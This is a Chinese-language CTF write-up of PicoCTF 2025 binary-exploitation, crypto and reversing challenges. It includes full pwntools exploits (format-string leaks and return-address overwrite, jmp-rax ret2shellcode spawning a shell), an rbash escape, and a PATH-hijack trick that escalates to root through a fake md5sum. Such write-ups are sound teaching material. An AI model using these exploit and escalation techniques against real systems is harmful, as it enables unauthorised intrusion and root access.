文章

PicoCTF 2025

夢開始的地方

PicoCTF 2025

現在來打 beginner 的比賽有點不要臉,不過把 Binary Exploitation 破台還是很開心

information

Ranking: 231st / 10460

rank rank https://play.picoctf.org/teams/15969


PIE TIME

如題是和 PIE 有關的題目,保護機制

1
2
3
4
5
6
7
8
9
10
$ checksec vuln
[*] '/home/kali/CTF/pwn/PIE_TIME/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

目標函數

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

程式會直接跳轉到我們輸入的 address

1
2
3
4
5
6
7
8
  ...
  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  ...

在輸入前會給 main 函數該次執行的 address

1
2
3
...
printf("Address of main: %p\n", &main);
...

減去 main 的 offset 後就可以算出 PIE 的 base,之後加上目標函數的 offset 就可以取得 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

# p = process('./vuln')
p = remote("rescued-float.picoctf.net", 54511)

main_addr = 0x0000133d
win_addr = 0x000012a7

p.recvuntil(B": ")
pie = int(p.recvline(keepends=False).decode(), 16) - main_addr

p.sendlineafter(b"ex => 0x12345: ", hex(win_addr+pie).encode())

p.recvlines(2)
flag = p.recvline().decode()
p.close()

print(flag)

PIE TIME 2

和上一題一樣是考 PIE 的題目,保護機制

1
2
3
4
5
6
7
8
9
10
$ checksec vuln
[*] '/home/kali/CTF/pwn/PIE_TIME_2/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

和上一題一樣有目標函數

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int win() {

   FILE *fptr;
   char c;
   printf("You won!\n");

   // Open file
   fptr = fopen("flag.txt", "r");
   if (fptr == NULL)
   {
         printf("Cannot open file.\n")
         exit(0);
   }

   // Read contents from file
   c = fgetc(fptr);
   while (c != EOF)
   {
         printf ("%c", c);
         c = fgetc(fptr);
   }

   printf("\n");
   fclose(fptr);
}

還是一樣會跳轉到我們輸入的 address

1
2
3
4
5
6
7
  ...
   unsigned long val;
   printf(" enter the address to jump to, ex => 0x12345: ");
   scanf("%lx", &val);

   void (*foo)(void) = (void (*)())val;
   ...

這次沒有直接提供 address 不過裡面有一個 fmt 的漏洞

1
2
3
4
  ...
  fgets(buffer, 64, stdin);
  printf(buffer);
  ...

透過 fmt 的漏洞 leak 出 stack 上的 main+65 的 address

1
2
3
$ ./vuln 
Enter your name:%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
0x559dd9bca2a1-0xfbad2288-0x7f4685ef06dd-0x559dd9bca2d9-0x4-0x7f4685fd2ff0-(nil)-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x7fff8a83000a-0x7fff8a8305c0-0x17dfdebf37e06a00-0x7fff8a8305c0-0x559da5086441
1
2
pwndbg> x/i 0x559da5086441
   0x559da5086441 <main+65>:    mov    eax,0x0

之後一樣減去 main+65 的 offset 後就可以算出 PIE 的 base,之後加上目標函數的 offset 就可以取得 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# p = process('./vuln')
p = remote("rescued-float.picoctf.net", 64181)

fmt_payload = b"%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"
leak_offset = 0x1441
win_offset = 0x0000136a
p.sendlineafter(b":", fmt_payload)

reslut = p.recvline(keepends=False).decode()
leak_addr = int(reslut.split("-")[-1], 16)
pie = leak_addr - leak_offset

win_addr = hex(pie+win_offset)
p.sendlineafter(b": ", win_addr)

p.recvline()
flag = p.recvline().decode()
p.close()

print(flag)

hash-only-1

他讓我們會啟一個 instant 我們可以用 ssh 連進去,裡面有一個 binary 會算出 flag.txt 的 md5 checksum

1
2
3
4
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....

87372b3f21242178d2bf22192541ab0c  /root/flag.txt

flag.txt 放在 /root 裡面,但我們沒有權限存取 /root

1
2
ctf-player@pico-chall$ cd /root
-bash: cd: /root: Permission denied

我們可以用他提供的 scp 來取得算 checksum 的 binary ,逆向分析後發現他會去呼叫 system 來執行 /bin/bash -c \'md5sum /root/flag.txt\'

1
2
3
4
5
6
7
8
9
...
  ((char *)local_48,(allocator *)"/bin/bash -c \'md5sum /root/flag.txt\'");
  std::allocator<char>::~allocator(&local_4d);
  setgid(0);
  setuid(0);
  __command = (char *)std::__cxx11::basic_string<>::c_str();
                    /* try { // try from 001013de to 00101423 has its CatchHandler @ 0010146d */
  local_4c = system(__command);
...

我試著去建立一個名字一樣是 md5sum 的檔案並在裡面加上 /bin/sh 並加上執行權限

1
2
ctf-player@pico-chall$ echo "/bin/sh" > md5sum 
ctf-player@pico-chall$ chmod +x md5sum

把他加入 $PATH 中,最後再次執行 ./flaghasher 成功提權

1
2
3
4
5
6
ctf-player@pico-chall$ export PATH="/home/ctf-player:$PATH"
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....

# whoami
root

hash-only-2

hash-only-1 差不多,不過他把 flaghasher 移到了 /usr/local/bin/ 底下 ,還有預設的 shell 是他做的有限制輸入的字元

1
2
3
ctf-player@pico-chall$ which $SHELL
/bin/rbash
ctf-player@pico-chall$ ./test -rbash: ./test: restricted: cannot specify `/' in command names

不過可以直接輸入 bash 換成 bash 繞過限制

1
2
3
ctf-player@pico-chall$ bash
ctf-player@challenge:~$ /
bash: /: Is a directory

之後和上一題的解法一樣,自己建立一個用於提權的 md5sum 加上執行權限後加入 $PATH

1
2
3
ctf-player@pico-chall$ echo "/bin/sh" > md5sum
ctf-player@pico-chall$ chmod +x md5sum 
ctf-player@pico-chall$ export PATH="/home/ctf-player:$PATH"

執行 flaghasher 後成功提權

1
2
3
4
5
ctf-player@challenge:~$ flaghasher
Computing the MD5 hash of /root/flag.txt....

# whoami
root

Echo Valley

保護機制

1
2
3
4
5
6
7
8
9
10
11
$ checksec valley
[*] '/home/kali/CTF/pwn/Echo_Valley/valley'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

目標函數

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void print_flag() {
   char buf[32];
   FILE *file = fopen("/home/valley/flag.txt", "r");

   if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
   }

   fgets(buf, sizeof(buf), file);
   printf("Congrats! Here is your flag: %s", buf);
   fclose(file);
   exit(EXIT_SUCCESS);
}

程式裡有 fmt 的漏洞

1
2
3
4
5
6
7
	if (fgets(buf, sizeof(buf), stdin) == NULL) {
	  printf("\nEOF detected. Exiting...\n");
	  exit(0);
	}
	...
	printf("You heard in the distance: ");
	printf(buf);

透過 address leak 找到 main+18old rbp 所在的 address

1
2
3
Welcome to the Echo Valley, Try Shouting: 
%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
You heard in the distance: 0x7ffd38170500-(nil)-(nil)-0x5588a94876ef-0x4-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0xa70252d70252d-(nil)-(nil)-(nil)-(nil)-(nil)-0x89faff230cb09400-0x7ffd38170730-0x5588a44e5413
1
2
pwndbg> x/i 0x5588a44e5413
   0x5588a44e5413 <main+18>:    mov    eax,0x0
1
2
3
4
5
pwndbg> stack 100
00:0000│ rax rcx rsp 0x7ffd381706b0 ◂— 0x70252d70252d000a /* '\n' */
...
0d:0068│-008         0x7ffd38170718 ◂— 0x89faff230cb09400
0e:0070│ rbp         0x7ffd38170720 —▸ 0x7ffd38170730 ◂— 1

之後分別算出 PIE 的 base 和放 return address 的 address 後透過 fmtstr 工具算出 fmt offset 後 修改目標位置的值

1
2
3
4
5
6
7
8
def send_payload(payload):
   p = elf.process()
   p.sendline(payload)
   l = p.recvall(timeout=1)
   p.close()
   return l

offset = FmtStr(send_payload).offset
1
payload = fmtstr_payload(offset=offset, writes={rip_point_to: print_flag_addr}, write_size='short')

完整 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

elf = context.binary = ELF('./valley')

def send_payload(payload):
   p = elf.process()
   p.sendline(payload)
   l = p.recvall(timeout=1)
   p.close()
   return l

offset = FmtStr(send_payload).offset
info("offset = %d", offset)
 
fmt_payload = b"%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"
leak_offset = 0x1413
print_flag_offset = 0x00001269

p = process('./valley')
# p = remote("shape-facility.picoctf.net", 57986)

p.sendlineafter(b":", fmt_payload)
p.recvuntil(b": ")

raw_leak_addr = p.recvline(keepends=False).decode()

leak_addr = int(raw_leak_addr.split("-")[-1],16)
pie = leak_addr - leak_offset
print_flag_addr = pie+print_flag_offset

rip_point_to = int(raw_leak_addr.split("-")[-2],16) - 0x8

payload = fmtstr_payload(offset=offset, writes={rip_point_to: print_flag_addr}, write_size='short')
success(f"print flag adddress: {hex(print_flag_addr)}\nrip point to: {hex(rip_point_to)}\npayload: {payload}")
p.sendline(payload)

p.sendline(b"")
p.sendline(b"exit")
p.recvuntil(b"The Valley Disappears")
p.recvuntil(b": ")
flag = p.recvline().decode()

p.close()
print("flag: "+flag)

handoff

想了一個下午,最後在睡前通靈出解法

保護機制

1
2
3
4
5
6
7
8
9
10
11
12
$ checksec handoff
[*] '/home/kali/CTF/pwn/handoff/handoff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

NX 是關的加上有 bof 的漏洞初看感覺是 ret2shellcode

1
2
3
4
5
#define NAME_LEN 32
...
	char feedback[8];
	...
	fgets(feedback, NAME_LEN, stdin);

不過由於 stack 的 address 會在每一次程序執行的時候有範圍的隨機分配所以不能直接把 return address 改成放shellcode 的位置。去翻 gadget 看到了有 jmp rax 這個神奇的 gadget

1
2
3
4
5
6
 ROPgadget --binary handoff
Gadgets information
============================================================
...
0x000000000040116c : jmp rax
...

加上在執行的時候 rax 會指到我們可以輸入的位置,不過同時因為有輸入長度限制及尾端需要放著段 address所以我們不能直接在 feedback 裡面塞 shellcode 。不過 feedback 和 我們放 shellcode 的 address offset 是固定的,所以我們可以在 jmp rax 後減掉那個 offset ,最後再次 jmp rax 到我們放 shellcode 的 address 來完成 ret2shellcode。完整exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.arch = 'amd64'

sh = asm(shellcraft.sh())
jmp_rax = p64(0x000000000040116c)
jump_to_sh = asm('''sub rax, 0x2d4
             jmp rax''', arch="amd64")

payload = b'\x90\x90' + jump_to_sh + b'a' * 10 + jmp_rax

# p = process('./handoff')
p = remote("shape-facility.picoctf.net", 59718)

p.sendlineafter(b"3. Exit the app", b"1")
p.sendlineafter(b"name:", b"\x90"*8)

p.sendlineafter(b"3. Exit the app", b"2")
p.sendlineafter(b"to?", b"0")
p.sendlineafter(b"them?", sh)
  
p.sendlineafter(b"3. Exit the app", b"3")
p.sendlineafter(b"it:", payload)

p.interactive()

Tap into Hash

給了一個python 還有一個有密文和 key 的txt。block_chain.py 主要在做的事是建立一個由五個區塊串起來的區塊鏈

1
2
3
4
5
6
7
8
9
10
   genesis_block = Block(0, "0", int(time.time()), "EncodedGenesisBlock", 0)
   blockchain = [genesis_block]

   for i in range(1, 5):
      encoded_transactions = base64.b64encode(
         f"Transaction_{i}".encode()).decode('utf-8')
      new_block = proof_of_work(blockchain[-1], encoded_transactions)
      blockchain.append(new_block)

   all_blocks = get_all_blocks(blockchain)

之後把鏈轉換成 string 後和 flag 一起拿去加密並印出加密結果

1
2
3
4
   blockchain_string = blockchain_to_string(all_blocks)
   encrypted_blockchain = encrypt(blockchain_string, token, key)

   print("Encrypted Blockchain:", encrypted_blockchain)

加密的邏輯是把 flag 放到 blockchain_string 的中間之後跟 hash 後的 key 每16位元做一次 xor 計算,不夠的 string 會補上 padding 。最後回傳加密完的結果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def encrypt(plaintext, inner_txt, key):
   midpoint = len(plaintext) // 2

   first_part = plaintext[:midpoint]
   second_part = plaintext[midpoint:]
   modified_plaintext = first_part + inner_txt + second_part
   block_size = 16
   plaintext = pad(modified_plaintext, block_size)
   key_hash = hashlib.sha256(key).digest()

   ciphertext = b''

   for i in range(0, len(plaintext), block_size):
      block = plaintext[i:i + block_size]
      cipher_block = xor_bytes(block, key_hash)
      ciphertext += cipher_block

   return ciphertext

因為我們有加密完的結果及 key 所以我們可以反推加密前的 string ,最後我們就以從解密完的字串裡面看到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

key= b'B\xfdL\x92\xf1C\x8fP\xb4\xd4dt\x8b\x18\xcfR\xfd`\xd1-\xa5\xde\xcd\x89\xee\xdb\xfb\r\x83&\x07\x82'
enc_block= b'|`M\xb2&\xa7\xea\xd5m\xb5\x83g\x11\x90\x08\xdbx7L\xb2v\xa0\xb8\xd4;\xbe\xdd`E\xc4\x01\xdb/:\x18\xe5s\xa6\xee\x8e;\xbd\xd8i\x19\x94X\xda|2\x19\xe2v\xf4\xed\x81m\xbb\xdd1\x13\x98\x08\xd3d3K\xe4t\xf1\xec\x83;\xbe\x83c\x18\x93]\xda|2\x1e\xe7&\xa9\xbd\xd0a\xee\x8a4\x13\xc3Z\xd3x7J\xb5u\xa1\xe9\x81o\xbf\x8ec\x12\x90\x0c\xd3y3N\xe3 \xa6\xbe\x85>\xe9\x82c\x14\x92\x0c\x81\x7f.K\xb6t\xa3\xee\x80o\xb4\x8dcE\x94\x08\x82(3K\xe2r\xa5\xe9\xd0o\xef\x8f1\x10\xc5\x0c\xd2\x7f`\x0b\xefs\xff\xcc\xe2\x1e\xf7\xd9<O\xc2R\xbczP)\xeeF\xf9\xdd\xd4\x0c\xbd\xca3x\xfea\xb6#NK\xf4$\xa9\xec\xfe\x07\xfd\xf8*M\xebc\x99\x0bH$\xbe$\xa2\xec\xd0`\xbf\xda-\x10\x91\\\xd3-eJ\xb6#\xa3\xea\xd2m\xbc\xddfC\xc5\t\x82+fO\xe2(\xa9\xee\x85k\xe8\x822\r\x91\t\x86y1I\xe7!\xf5\xb6\x8e>\xbd\xdae\x14\x98\t\xd6(1M\xbfv\xa9\xe9\x85=\xe8\xdadB\x92\x00\xdb*fB\xb2!\xa5\xeb\x83<\xea\x8d5A\x96\x0c\xd2\x7f2M\xb2(\xa6\xea\xd5l\xea\xdab\x16\x8c\t\xd3z`C\xe3(\xa0\xb7\x81j\xee\xd9hE\x95\x0b\x82*aO\xb2"\xa7\xeb\x86:\xbe\xd9gC\x97\x01\xd4yf\x19\xe0\'\xa3\xb9\x80>\xbb\xdahE\x93\x0f\x82,`\x1d\xb5#\xa7\xb6\x82k\xbc\x8ci\x14\x97;\xe1'

block_size = 16
plain_text = b''

key_hash = hashlib.sha256(key).digest()

for i in range(0, len(enc_block), block_size):
    block = enc_block[i:i + block_size]
    cipher_block = xor_bytes(block, key_hash)
    plain_text += cipher_block

print(plain_text)

perplexed

給了一個 binary ,需要輸入 flag ,binary裡的 check 函數會檢查 flag 是否正確。主要的驗證邏輯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    for (i = 0; i < 23; i = i + 1) {
      for (j = 0; j < 8; j = j + 1) {
        if (inputBit == 0) {
          inputBit = 1;
        }
        passBitsIndex = 1 << (7U - (char)j & 0x1f);
        inputBitsIndex = 1 << (7U - (char)inputBit & 0x1f);
        if (0 < (int)((int)input[inputIdx] & inputBitsIndex) !=
            0 < (int)((int)pass[(int)i] & passBitsIndex)) {
          return true;
        }
        inputBit = inputBit + 1;
        if (inputBit == 8) {
          inputBit = 0;
          inputIdx = inputIdx + 1;
        }
        sVar3 = (size_t)inputIdx;
        sVar2 = strlen(input);
        if (sVar3 == sVar2) {
          return false;
        }
      }
    }
    bVar1 = false;
  ...

pass 的值

1
2
3
02:0010│-050 0x7fffffffc110 ◂— 0x617b2375f81ea7e1
03:0018│-048 0x7fffffffc118 ◂— 0xd269df5b5afc9db9
04:0020│-040 0x7fffffffc120 ◂— 0xf467edf4ed1bfe

根據他的 check 寫了一個 function 去反推 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void reconstruct_param1(unsigned char *param_1, const unsigned char *local_58, size_t len) {
    size_t local_1c = 0;
    int local_20 = 0;

    memset(param_1, 0, len);

    for (size_t i = 0; i < len; i++) {
        for (int j = 0; j < 8; j++) {
            if (local_20==0)
                local_20 = 1;
            unsigned char local_30 = 1 << (7U - j);
            unsigned char local_34 = 1 << (7U - local_20);

            if ((local_58[i] & local_30) != 0) {
                param_1[local_1c] |= local_34;
            } else {
                param_1[local_1c] &= ~local_34;
			}
            local_20++;
            if (local_20 == 8) {
                local_20 = 0;
                local_1c++;
                if (local_1c == len) {
                    return;
                }
            }
        }
    }
}

最後把 pass 的值放進去(記得要補0x00)就可以算出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main() {
    unsigned char local_58[] = {
        0xe1, 0xa7, 0x1e, 0xf8, 0x75, 0x23, 0x7b, 0x61, // 0x617b2375f81ea7e1
        0xb9, 0x9d, 0xfc, 0x5a, 0x5b, 0xdf, 0x69, 0xd2, // 0xd269df5b5afc9db9
        0xfe, 0x1b, 0xed, 0xf4, 0xed, 0x67, 0xf4, 0x00,
        0x00, 0x00, 0x00
        // 0xfe, 0x1b, 0xed, 0xf4, 0xed, 0x67, 0xf4 //0xf467edf4ed1bfe
    };
    size_t len = sizeof(local_58);
    unsigned char param_1[len];

    reconstruct_param1(param_1, local_58, len);

    printf("Reconstructed param_1:\n");
    for (size_t i = 0; i < len; i++) {
        printf("%c", param_1[i]);  
    }
    printf("\n");

    return 0;
}
本文章以 CC BY 4.0 授權

熱門標籤